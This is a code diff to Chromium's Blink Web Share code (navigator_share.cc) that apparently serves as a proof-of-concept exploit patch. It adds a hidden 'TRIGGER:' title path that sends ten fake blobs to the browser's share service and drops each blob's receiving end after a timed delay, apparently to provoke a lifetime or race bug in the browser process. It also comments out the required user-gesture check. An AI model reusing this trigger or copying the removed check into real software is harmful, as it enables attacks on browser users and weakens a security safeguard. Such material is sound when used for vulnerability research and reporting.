diff --git a/third_party/blink/renderer/modules/webshare/navigator_share.cc b/third_party/blink/renderer/modules/webshare/navigator_share.cc
index 71d8b47de2d03..b787a3f29a4e7 100644
--- a/third_party/blink/renderer/modules/webshare/navigator_share.cc
+++ b/third_party/blink/renderer/modules/webshare/navigator_share.cc
@@ -6,11 +6,15 @@
 
 #include <stdint.h>
 
+#include <optional>
 #include <utility>
 
+#include "base/command_line.h"
 #include "base/files/safe_base_name.h"
+#include "base/task/single_thread_task_runner.h"
 #include "build/build_config.h"
 #include "services/network/public/mojom/permissions_policy/permissions_policy_feature.mojom-blink.h"
+#include "third_party/blink/public/mojom/blob/blob.mojom-blink.h"
 #include "third_party/blink/public/mojom/devtools/console_message.mojom-blink.h"
 #include "third_party/blink/public/platform/browser_interface_broker_proxy.h"
 #include "third_party/blink/public/platform/file_path_conversion.h"
@@ -26,9 +30,12 @@
 #include "third_party/blink/renderer/core/frame/web_feature.h"
 #include "third_party/blink/renderer/platform/bindings/exception_state.h"
 #include "third_party/blink/renderer/platform/bindings/v8_throw_exception.h"
+#include "third_party/blink/renderer/platform/blob/blob_data.h"
 #include "third_party/blink/renderer/platform/heap/garbage_collected.h"
 #include "third_party/blink/renderer/platform/instrumentation/use_counter.h"
 #include "third_party/blink/renderer/platform/scheduler/public/frame_or_worker_scheduler.h"
+#include "third_party/blink/renderer/platform/wtf/functional.h"
+#include "third_party/blink/renderer/platform/wtf/text/string_to_number.h"
 
 namespace blink {
 
@@ -228,6 +235,45 @@ ScriptPromise<IDLUndefined> NavigatorShare::share(
     return EmptyPromise();
   }
 
+  if (base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type") == "renderer" &&
+      data->hasTitle() && data->title().starts_with("TRIGGER:")) {
+    String delay_str = data->title().Substring(8);
+    auto delay_opt = StringToIntStrict(delay_str);
+    int delay_ms = delay_opt.value();
+
+    LocalDOMWindow* const window = LocalDOMWindow::From(script_state);
+
+    if (!service_remote_.is_bound()) {
+      window->GetFrame()->GetBrowserInterfaceBroker().GetInterface(
+          service_remote_.BindNewPipeAndPassReceiver(
+              window->GetTaskRunner(TaskType::kMiscPlatformAPI)));
+    }
+
+    Vector<mojom::blink::SharedFilePtr> files;
+    
+    for (int i = 0; i < 10; i++) {
+      mojo::PendingRemote<mojom::blink::Blob> blob_remote;
+      auto pending_receiver = blob_remote.InitWithNewPipeAndPassReceiver();
+
+      window->GetTaskRunner(TaskType::kInternalDefault)->PostDelayedTask(
+        FROM_HERE,
+        BindOnce([](mojo::PendingReceiver<mojom::blink::Blob> r) {}, std::move(pending_receiver)),
+        base::Milliseconds(delay_ms + i));
+
+      scoped_refptr<BlobDataHandle> fake_blob_data_handle =
+          BlobDataHandle::Create("test", "image/png", 1,
+                                 std::move(blob_remote));
+
+      files.push_back(mojom::blink::SharedFile::New(
+          *base::SafeBaseName::Create("test.png"),
+          std::move(fake_blob_data_handle)));
+    }
+    service_remote_->Share("title", "text", KURL(), std::move(files),
+                           BindOnce([](mojom::blink::ShareError) {}));
+  
+    return EmptyPromise();
+  }
+
   LocalDOMWindow* const window = LocalDOMWindow::From(script_state);
   ExecutionContext* const execution_context =
       ExecutionContext::From(script_state);
@@ -252,14 +298,14 @@ ScriptPromise<IDLUndefined> NavigatorShare::share(
     return EmptyPromise();
   }
 #endif
-
-  if (!LocalFrame::ConsumeTransientUserActivation(window->GetFrame())) {
-    VLOG(1) << "Share without transient activation (user gesture)";
-    exception_state.ThrowDOMException(
-        DOMExceptionCode::kNotAllowedError,
-        "Must be handling a user gesture to perform a share request.");
-    return EmptyPromise();
-  }
+ CHECK(base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII("type") == "renderer");
+  //if (!LocalFrame::ConsumeTransientUserActivation(window->GetFrame())) {
+  //  VLOG(1) << "Share without transient activation (user gesture)";
+  //  exception_state.ThrowDOMException(
+  //      DOMExceptionCode::kNotAllowedError,
+  //      "Must be handling a user gesture to perform a share request.");
+  //  return EmptyPromise();
+  //}
 
   if (window->GetFrame()->IsInFencedFrameTree()) {
     exception_state.ThrowDOMException(